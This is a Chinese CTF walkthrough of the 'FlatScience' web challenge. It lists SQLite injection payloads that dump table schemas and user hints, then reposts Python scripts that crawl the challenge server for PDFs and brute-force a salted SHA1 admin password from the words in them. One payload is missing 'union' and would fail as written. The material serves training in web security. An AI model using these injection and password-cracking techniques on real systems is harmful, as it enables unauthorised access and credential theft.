FlatScience（攻防世界）

1.打开环境，

 并没有什么有效信息，发现robots.txt有提示信息

3.在login.php查看源代码，发现get传参debug可以获取源码。

发现$user基本没有过滤，可以进行sql注入，需要注意的是数据库是sqlite，查询语句与mysql会有差距，且其会自动创建sqlite_master库存储信息。

payload:

1' order by 3--+#爆字段数
1' select name,sql from sqlite_master--+#爆表
1' union select 1,group_concat(hint) from users--+#以此类推

4.用爬虫爬取所有论文，再用pdfminer库处理遍历pdf，获取admin密码，获得flag.

下面贴大佬的脚本

import requests
import re
import os
import sys

re1 = '[a-fA-F0-9]{32,32}.pdf'
re2 = '[0-9\/]{2,2}index.html'

pdf_list = []
def get_pdf(url):
    global pdf_list
    print(url)
    req = requests.get(url).text
    re_1 = re.findall(re1,req)
    for i in re_1:
        pdf_url = url+i
        pdf_list.append(pdf_url)
    re_2 = re.findall(re2,req)
    for j in re_2:
        new_url = url+j[0:2]
        get_pdf(new_url)
    return pdf_list
    # return re_2

pdf_list = get_pdf('http://61.147.171.105:63650/')
print(pdf_list)
for i in pdf_list:
    os.system('wget '+i)

from io import StringIO

# python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter

import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request


def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]


def convert_pdf_to_txt(path_to_file):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    codec = 'utf-8'
    laparams = LAParams()
    device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
    fp = open(path_to_file, 'rb')
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    password = ""
    maxpages = 0
    caching = True
    pagenos = set()

    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password, caching=caching,
                                  check_extractable=True):
        interpreter.process_page(page)

    text = retstr.getvalue()

    fp.close()
    device.close()
    retstr.close()
    return text


def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print("Searching word in " + i)
        pdf_text = convert_pdf_to_txt("./" + i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word.encode('utf-8') + 'Salz!'.encode('utf-8')).hexdigest()
            if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
                print("Find the password :" + word)
                exit()


if __name__ == "__main__":
    find_password()